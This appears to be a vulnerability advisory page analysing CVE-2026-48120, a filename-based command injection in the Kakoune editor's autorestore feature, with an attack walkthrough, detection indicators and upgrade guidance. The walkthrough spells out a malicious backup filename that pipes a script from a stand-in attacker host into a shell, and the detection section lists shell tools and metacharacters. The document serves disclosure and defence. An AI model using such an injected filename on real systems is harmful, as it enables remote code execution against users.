CVE-2026-48120: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-48120 is a command injection vulnerability in Kakoune, an open-source code editor, affecting all versions prior to 2026.05.21. The bundled autorestore.kak script — enabled by default — fails to properly sanitize backup filenames, allowing malicious backup files to trigger arbitrary Kakoune and shell command execution when a user simply opens a file. The vulnerability was disclosed on May 21, 2026, with a fix published the same day. It carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory).

The root cause is improper neutralization of special elements in output used by a downstream component (CWE-74), specifically insufficient escaping of filenames within the autorestore.kak shell script. When Kakoune opens a file, the autorestore feature searches for backup files matching a naming pattern and passes their filenames unsanitized into shell commands via printf %s\n and echo statements. An attacker can craft a backup filename containing shell metacharacters (e.g., semicolons, quotes) that break out of the intended command context and inject arbitrary shell or Kakoune commands. The fix in commit 25c7b13 addresses this by escaping filenames when echoed and validating that backup file suffixes contain only POSIX portable characters ([A-Za-z0-9_.-]) using pathchk -p (GitHub Commit, GitHub Advisory).

Successful exploitation results in arbitrary shell and Kakoune command execution in the context of the victim user's session, yielding high confidentiality, integrity, and availability impact. Because the scope is marked as Changed, the injected commands can affect resources beyond the Kakoune process itself, potentially enabling file exfiltration, persistence mechanisms, or further lateral movement on the local system. The attack requires no privileges and is triggered by the routine act of opening a file, making it particularly dangerous in shared or collaborative environments where backup directories may be writable by other users (GitHub Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.137%, reflecting a low near-term exploitation probability. Exploitation requires local access to place a maliciously named backup file in a directory the victim will open with Kakoune, and user interaction (opening a file) is required, limiting opportunistic exploitation (GitHub Advisory).

1. Identify target: Confirm the victim is using Kakoune with the default autorestore.kak feature enabled (all versions prior to 2026.05.21 are vulnerable by default).
2. Gain write access to a backup directory: Obtain write access to a directory where the victim user stores or will open files — this could be a shared /tmp directory, a shared project folder, or any writable path the victim uses with Kakoune.
3. Craft a malicious backup filename: Create a file whose name follows the Kakoune backup naming convention (.{original_filename}.kak.{suffix}) but embeds shell metacharacters in the suffix. For example, a filename like .target.kak.;curl http://attacker.com/shell.sh|sh; would inject a shell command when the filename is passed unsanitized to the shell.
4. Wait for victim to open the target file: When the victim opens the corresponding file in Kakoune, the autorestore-restore-buffer command is automatically invoked, the malicious backup filename is discovered, and the injected shell payload is executed in the victim's shell context.
5. Achieve code execution: The injected commands run with the victim user's privileges, enabling data exfiltration, reverse shell establishment, or persistence (GitHub Advisory, GitHub Commit).

• File System: Presence of backup files in directories used with Kakoune whose names match .{filename}.kak.{suffix} but contain non-POSIX-portable characters (e.g., semicolons, quotes, backticks, $, |) in the suffix portion.
• Process: Unexpected child processes spawned from the Kakoune process (e.g., curl, wget, bash, sh, python) that are not typical editor operations.
• Logs: Shell history or audit logs showing commands executed in the context of the Kakoune user session that were not explicitly typed by the user; auditd records of execve calls originating from Kakoune's parent PID.
• Network: Outbound network connections from the Kakoune user's session to unexpected external hosts, particularly shortly after opening a file in Kakoune.

Upgrade Kakoune to version 2026.05.21 or later, which fixes the escaping issues in autorestore.kak via commit 25c7b13 (GitHub Commit). For users unable to upgrade immediately, add autorestore-disable to the user's kakrc configuration file to fully disable the autorestore feature (GitHub Advisory). Additionally, restrict write permissions on directories containing files opened with Kakoune to prevent untrusted parties from placing malicious backup files.

The vulnerability was reported by security researchers a-tt-om and teebow1e and credited in the GitHub Security Advisory. Coverage appeared on The Hacker Wire and was indexed by multiple vulnerability tracking platforms shortly after disclosure (The Hacker Wire). No significant vendor statements beyond the official advisory or notable social media debate have been identified.